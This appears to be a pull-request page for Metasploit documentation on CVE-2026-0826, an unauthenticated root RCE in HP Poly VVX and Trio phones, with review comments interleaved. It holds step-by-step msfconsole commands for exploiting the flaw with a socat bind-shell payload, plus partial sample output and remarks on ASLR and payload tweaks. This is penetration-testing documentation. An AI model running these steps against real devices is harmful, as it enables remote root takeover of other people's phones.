fixed in c31ac60.

models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP
Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve
unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present
in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment
(ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a
remote attacker.

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/misc/poly_unauth_rce_cve_2026_0826`

Configure the target:

3. `set RHOST <TARGET_IP_ADDRESS>`

Configure the payload (This defaults to `cmd/unix/bind_socat_tcp`):

4. `set PAYLOAD cmd/unix/bind_socat_tcp`
5. `set LPORT 4444`

You can check if the target is vulnerable.

6. `check`

Exploit the vulnerability and get a root shell.

7. `exploit`

## Scenarios

### Example 1

Exploiting an HP Poly VVX 450 device running version `6.4.7.4477`.

```
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > set RHOST 192.168.86.80
RHOST => 192.168.86.80
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > show options

Module options (exploit/linux/misc/poly_unauth_rce_cve_2026_0826):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.86.80 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 5060 yes The target port (UDP)


Payload options (cmd/unix/bind_socat_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.86.80 no The target address

Could we follow the recommendation for the codebase, where we suggest using a Hash return type as opposed to an array?

So am I. The SO libraries like libc-2.8.so are compiled with PIE so I expected them to be randomized per-boot, but that never happened. I spent some time looking at the kernel to see if something obvious was present, but I want not able to identify the cause.

i added a7fc1af for a bunch of improvements to this socat payload. tested to work on my HP Poly VVX 450 device. you now get an interactive login session which is nicer:
